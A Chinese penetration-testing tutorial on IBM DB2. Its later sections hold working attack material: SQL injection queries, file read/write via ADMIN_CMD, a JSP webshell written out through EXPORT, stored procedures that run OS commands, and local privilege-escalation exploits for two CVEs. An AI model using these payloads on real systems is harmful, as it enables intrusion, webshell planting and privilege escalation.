DB2在渗透中的应用

技术研究 发布时间：2016-06-17 10:30:00 149 浏览

0x00 DB2简介

DB2是IBM公司推出关系型数据库管理系统。

现今DB2主要包含以下三个系列：

  • DB2 for Linux, UNIX and Windows(LUW)
  • DB2 for z/OS
  • DB2 for i(formerly OS/400)

IBM DB2定位于高端市场，广泛应用于企业级应用中

0x01 DB2的安装

以下两小节分别介绍DB2在Linux和Windows平台下的安装，安装的版本都为V9.5版本

DB2在Linux下的安装

在Linux下DB2依赖compat-libstdc++库，安装DB2之前需要先行安装该库

安装上述库完成后运行DB2安装程序中的db2setup启动图形化安装界面

DB2在安装过程中会创建db2inst1、db2fenc1以及dasusr1三个用户，此三个用户会加入到系统中成为系统的用户，也可以在安装之前就创建

安装完成后切换到db2inst1用户，运行db2cc启动图形化控制中心（DB2从V10.1版本开始不再包含图形化的控制中心，可使用命令行或IBM提供的Data Studio工具管理）

DB2在Windows下的安装

运行安装程序中的setup.exe程序开始安装，安装过程中会创建db2admin用户，并将该用户添加到管理员组中

安装完成后启动控制中心

0x02 DB2的使用

DB2服务及端口

DB2各项服务名称及端口可使用以下方法查看：

Linux：

/etc/services 文件

Windows：

C:\Windows\System32\drivers\etc\services文件

DB2默认监听连接的端口为50000

DB2的用户

DB2的所有用户都是操作系统用户，且用户密码也与操作系统中该用户的密码绑定。

Linux下，安装DB2会创建db2inst1，db2fenc1和dasusr1三个用户。Windows下，会创建db2admin用户并将其添加到管理员组。

本地操作系统用户并不全为DB2用户，需要在DB2管理功能中添加操作系统用户为数据库用户。

本地管理DB2

命令行方式

本地管理DB2数据库可以使用命令行或图形化工具

IBM DB2 Universal Database（UDB）命令行处理器（CLP）是用于访问 DB2 函数的方便接口，CLP 接受来自 DB2 命令行的命令或 SQL 语句。

在基于Linux 和 UNIX 的系统中，这个命令行是 DB2 实例的命令行。

在Windows 操作系统中，它是启用了CLP 命令窗口的命令行；在这种情况下，必须先（从普通命令窗口）运行 db2cmd 命令来启动 DB2 命令行环境。

Windows下的命令行：

Linux下的命令行：

命令行的详细使用方法及语法可参考IBM官方文档

图形界面方式

可使用DB2的控制中心在本地使用图形化方式管理DB2，如下：

Windows：

Linux：

注：
DB2从V10.1版本开始不再包含图形化的控制中心，可IBM提供的DataStudio工具替换

远程管理DB2

远程管理DB2也有命令行和图形化两种方式，使用命令行方式需要安装DB2客户端，可在IBM官网上下载。

远程图形化管理可以使用Quest Centor for DB2工具。使用该工具也需要安装DB2客户端。

该工具使用方法如下：

右键添加DB2服务器：

配置DB2服务器的地址和操作系统：

配置节点名称，实例名称和数据库端口：

在实例上右键管理登录配置登录凭证：

在实例上右键添加数据库：

添加后情况：

执行SQL语句：

在JAVA程序中连接DB2

JAVA程序连接DB2有四种方式TYPE1、TYPE2、TYPE3、TYPE4，其中TYPE2和TYPE4应用较广泛，四种方式的基本架构如下：

TYPE1：

TYPE2：

TYPE3：

TYPE4：

下面介绍使用TYPE2和TYPE4方式连接DB2的方法

使用TYPE2方式必须安装DB2客户端,在客户端中添加相关数据库并设置别名，可使用客户端命令行或图形化工具“配置助手”添加，如下图

使用TYPE2类型有两种方法：

方法一：

驱动程序位于db2jcc.jar包中，且在Windows下JDK必须可以访问到db2jdbc.dll和db2jcct2.dll，db2jdbc.dll和db2jcct2.dll位于DB2客户端程序SQLLIB/BIN目录下

连接代码如下：

Class.forName("com.ibm.db2.jcc.DB2Driver").newInstance();       
conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456");

其中jdbc:db2:TESTDB2中的TESTDB2即为之前在客户端中添加的数据库别名

方法二：

驱动程序位于db2java.zip包中，且在Windows下JDK必须可以访问到db2jdbc.dll，db2jdbc.dll位于DB2客户端程序SQLLIB/BIN目录下

连接代码如下：

Driver driver=(Driver) Class.forName("COM.ibm.db2.jdbc.app.DB2Driver").newInstance(); 
DriverManager.registerDriver(driver);
conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456");

其中jdbc:db2:TESTDB2中的TESTDB2即为之前在客户端中添加的数据库别名

注：db2java.zip在DB2 LUW 10.1中已停用，如要使用TYPE2方式建议使用db2jcc.jar驱动程序

使用TYPE4方式连接DB2方法：

驱动程序位于db2jcc.jar包中，使用此方法应用程序所在主机不需安装任何其他程序

连接代码：

Class.forName(com.ibm.db2.jcc.DB2Driver).newInstance();
conn =DriverManager.getConnection(jdbc:db2://192.168.60.144:50000/TESTDB2, db2admin, 123456);

注：

  1. TYPE4需设置数据库的编码为utf-8否则报错
  2. TYPE4还需要db2jcc_license_cu.jar

上述驱动程序所在包db2jcc.jar、db2jcc_license_cu.jar、db2java.zip均可在DB2服务器安装目录下找到，例如在Windows版本V9.5中位于DB2安装目录下的SQLLIB/java目录

db2jcc.jar与db2java.zip驱动程序在错误处理方面有所不同

查询在DB2服务器端出现错误时，db2java.zip驱动程序会将DB2服务器产生的错误信息原样返回给应用程序，而db2jcc.jar驱动程序使用了自定义的错误信息。

db2java.zip的错误信息：

db2jcc.jar的错误信息：

0x03 DB2 SQL注入相关问题

获取DB2数据库信息的语句

获取数据库版本：

SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo

获取当前用户：

SELECT user FROM sysibm.sysdummy1
SELECT session_user FROM sysibm.sysdummy1
SELECT system_user FROM sysibm.sysdummy1

获取数据库的用户：

SELECT distinct(authid) FROM sysibmadm.privileges
SELECT distinct(grantee) FROM sysibm.systabauth

获取数据库表的权限：

SELECT * FROM syscat.tabauth

获取当前用户的权限：

SELECT * FROM syscat.tabauth where grantee = current user

列出数据库的DBA账户：

SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y'

获取当前数据库：

SELECT current server FROM sysibm.sysdummy1

获取当前数据库中所有表：

SELECT table_name FROM sysibm.tables
SELECT name FROM sysibm.systables

获取当前数据库中所有列：

SELECT name, tbname, coltype FROM sysibm.syscolumns

获取数据库所在主机相关信息：

SELECT * FROM sysibmadm.env_sys_info

DB2 SQL语句特性

注释符：

DB2数据库使用双连字符--作为单行注释，使用/**/作为多行注释

SELECT中获得前N条记录的SQL语法：

SELECT * FROM sysibm.systables ORDER BY name ASC fetch first N rows only

截取字符串：

SELECT substr('abc',2,1) FROM sysibm.sysdummy1

上述语句会得到字符b

比特操作AND/OR/NOT/XOR

SELECT bitand(1,0) FROM sysibm.sysdummy1

上述语句会得到0

字符与ASCII码互相转换：

SELECT chr(65) FROM sysibm.sysdummy1

上述语句会得到字符’A’

SELECT ascii('A') FROM sysibm.sysdummy1

上述语句会得到字符’A’的ASCII码65

类型转换：

SELECT cast('123' as integer) FROM sysibm.sysdummy1

上述语句将字符串”123”转为数据123

SELECT cast(1 as char) FROM sysibm.sysdummy1

上述语句将数字1转为字符串”1”

字符串连接：

SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1
SELECT 'a' || 'b' || 'c' FROM sysibm.sysdummy1

上述两个语句都会返回字符串”abc”

获取长度：

SELECT LENGTH(NAME) FROM SYSIBM.SYSCOLUMNS WHERE TBNAME='VOTE' ORDER BY NAME DESC FETCH FIRST 1 ROWS ONLY

条件语句：

SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END FROM sysibm.sysdummy1

上述语句将返回字符串'AAAAAAAAAA'

时间延迟：

and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68

上述语句若user的第一个字符的ASCII码为68将造成延时

UNION操作符：

DB2支持在SELECT语句中使用UNION操作符，UNION的各列必须类型相同才不会报错。

且不能直接使用SELECT … FROM … UNION SELECT NULL, NULL … FROM …的方法。DB2在SELECT中使用NULL需要指定类型，如下：

select ... cast(NULL as int) as column_A, cast(NULL as varchar(128)) as column_B, ... FROM ...

多语句查询：

DB2不支持形如statement1; statement2形式的多语句查询

DB2的SQL注入方法

对DB2进行SQL注入通用的方法是使用盲注，利用上两个小结的内容通过盲注获取数据库信息。

由于DB2的UNION操作符限制较多，因此利用UNION注入很多时候不会成功。由于DB2不支持多语句查询，因此无法通过多语句查询方法注入并调用存储过程。

另外，可利用数据库的报错信息通过SQL注入获取部分敏感信息，如下：

先使用通用的orderby方法猜出列数

在查询的条件后附加group by 1--会显示本次查询的表中的第一列列名ID，之后将条件改为group by ID--得到第二列的列名NAME，依次增加group by后的列名，如group by ID, NAME，将枚举当前表中的所有列

DB2的SQL注入工具

经测试针对DB2的SQL注入工具中sqlmap相对具有可用性，部分截图如下：

但经测试其仍然存在一些问题，如获取列信息不全、盲注功能不好用等

0x04 利用DB2读写操作系统文件

在渗透测试中可以使用DB2读写系统文件，达到获取敏感信息、写webshell等目的。

本节所描述方法在DB2 V9.5 Windows, Linux下测试成功

利用DB2读操作系统文件

DB2使用IMPORT命令从文件中读取内容并插入到数据库表中，使用方法：

IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT

上述命令运行后即可将C:\Windows\win.ini的内容插入到表CONTENT中

DB2的ADMIN_CMD存储过程用于执行DB2命令行（CLP）命令，其schema为SYSPROC，从8.2.2版本开始引入 该存储过程语法：

ADMIN_CMD('command_string')

参数command_string为要运行的命令

调用存储过程使用CALL语句，语法：

CALL ADMIN_CMD('command_string')

调用ADMIN_CMD存储过程执行IMPORT命令将文件读入数据库表方法：

CALL ADMIN_CMD('IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT');

运行该存储过程的结果：

远程连接数据库的用户可以通过调用ADMIN_CMD存储过程读取操作系统文件，经测试（DB2 V9.5）数据库普通用户默认具有调用ADMIN_CMD存储过程的权限，远程连接数据库的用户可以首先创建一个表（或对已存在的IMPORT命令涉及的表有INSERT和SELECT权限），然后调用ADMIN_CMD存储过程运行IMPORT命令将文件读入创建的表中。如下：

远程连接数据库并调用ADMIN_CMD存储过程运行IMPORT命令：

读取的文件信息：

利用DB2向操作系统写文件

DB2的EXPORT命令用于将数据库中的内容导入到文件中，使用语法如下：

EXPORT TO result.csv OF DEL MODIFIED BY NOCHARDEL SELECT col1, col2, coln FROM testtable;

使用上一小节提到的ADMIN_CMD存储过程运行该命令方法：

CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT * FROM VOTENAME');

调用过程和结果：

远程连接数据库的用户可以先创建一个表（或对EXPORT命令涉及的表具有SELECT权限），然后调用ADMIN_CMD存储过程执行EXPORT命令向操作系统写文件

向操作系统写入包含某些字符串的文件语法如下：

CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT ''My Content'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');

远程调用结果：

利用该方法写webshell语法：

CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.jsp OF DEL MODIFIED BY NOCHARDEL SELECT ''<%if(request.getParameter("f")!=null){(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("c").getBytes());response.getWriter().print("[OK]");}%>'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');

远程调用结果：

注：
通过EXPORT向文件写入自定义字符串内容时SELECT的表中必须至少有一条记录否则写入内容为空

0x05 利用DB2执行操作系统命令

可利用DB2存储过程执行操作系统命令。远程连接数据库的用户需要具有创建存储过程的权限，连接数据库后创建一个可以执行操作系统命令的存储过程并调用。

创建此种存储过程并调用的语法如下：

Windows：

CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME 'c:\windows\system32\msvcrt!system' 
LANGUAGE C 
DETERMINISTIC 
PARAMETER STYLE DB2SQL

CALL db2_cmd_exec ('whoami /all > C:\whoami.log')

Linux：

CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME '/usr/lib/libstdc++.so.6!system' 
LANGUAGE C 
DETERMINISTIC 
PARAMETER STYLE DB2SQL

call db2_cmd_exec ('whoami > /tmp/whoami.log')

运行结果：

注：

创建的存储过程默认为FENCED（受保护的），例如对于Linux下DB2的，使用db2inst1用户连接数据库创建并运行上述存储，DB2服务器端实际是以db2fenc1用户运行该存储过程的。

FENCED存储过程单独启用一个新的地址空间，而UNFENCED存储过程和调用它的进程使用用一个地址空间，一般来说FENCED存储过程比较安全。

若要创建NOTFENCED的存储过程（需要具有SYSADM特权、DBADM 特权或一个特殊的特权（CREATE_NOT_FENCED）），需要在创建存储过程中指定，如下

CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME '/usr/lib/libstdc++.so.6!system' 
LANGUAGE C 
DETERMINISTIC 
PARAMETER STYLE DB2SQL
NOT FENCED

0x06 利用DB2提权

本节介绍两个DB2提权漏洞原理及利用方法

CVE-2014-0907

CVE-2014-0907是一个DB2本地提权漏洞，受影响版本为AIX, Linux, HP-UX以及Solaris上的DB2 V9.5（FP9之前的V9.5不受影响）, V9.7, V10.1, V10.5版本

CVE-2014-0907漏洞允许一个本地普通用户获取到root权限

DB2的db2iclean程序会在当前目录下搜索libdb2ure2.so.1库文件，下图为执行该程序时对库文件的访问情况，可见DB2对于libdb2ure2.so.1库文件的搜索在当前目录先于DB2安装目录

strace -o /tmp/db2iclean.log  /home/db2inst1/sqllib/adm/db2iclean

如果当前目录下有恶意用户写入的同名库文件，则DB2程序会加载该文件并执行其中的代码。由于db2iclean命令是SUID root权限，因此恶意代码会以root权限被运行。

如将下列代码编译为库文件并放在当前目录下：

// libdb2ure2.cpp
#include <stdlib.h>
int iGetHostName(char* n, int i)
{
    system("id > /m.log");
}

$ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp

使用db2iadm1组的普通用户运行db2iclean程序：

<DB2_instance_install_directory>/adm/db2iclean

可见此时euid为0，代码以root权限运行

注意：由于db2iclean不是公开执行权限，所以攻击者需要使用db2iadm1组用户执行，或诱使该组成员在攻击者写入了恶意库文件的目录下执行该程序。

CVE-2013-6744

CVE-2013-6744是DB2在windows平台下的提权漏洞，利用该漏洞将使windows普通用户获取到Administrator权限

存在漏洞的DB2版本：

  • 9.5, 9.7 FP9a之前版本
  • 10.1 FP3a之前版本
  • 10.5 FP3a之前版本

利用该漏洞需要有一个可以连接DB2数据库的用户，且该用户具有创建外部例程的权限(CREATE_EXTERNAL_ROUTINE)

该漏洞原理为：在Windows平台特权帐户默认情况下，DB2服务运行时并不受访问控制检查，这意味着可以通过CREATE_EXTERNAL_ROUTINE权限创建一个库文件并且形成调用，从而权限得以提升。

漏洞利用步骤：

1.使用具有CREATE_EXTERNAL_ROUTINE权限的用户运行以下DDL，利用C runtime system来创建一个存储过程：

CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL

2.调用刚才创建的存储过程：

CALL db2_exec('whoami /all > C:\whoami.log')

查看命令创建的whoami.log文件，发现包含了db2admin信息。这意味着，我们用一个非管理员账户成功用管理员权限执行了命令。

0x07 参考

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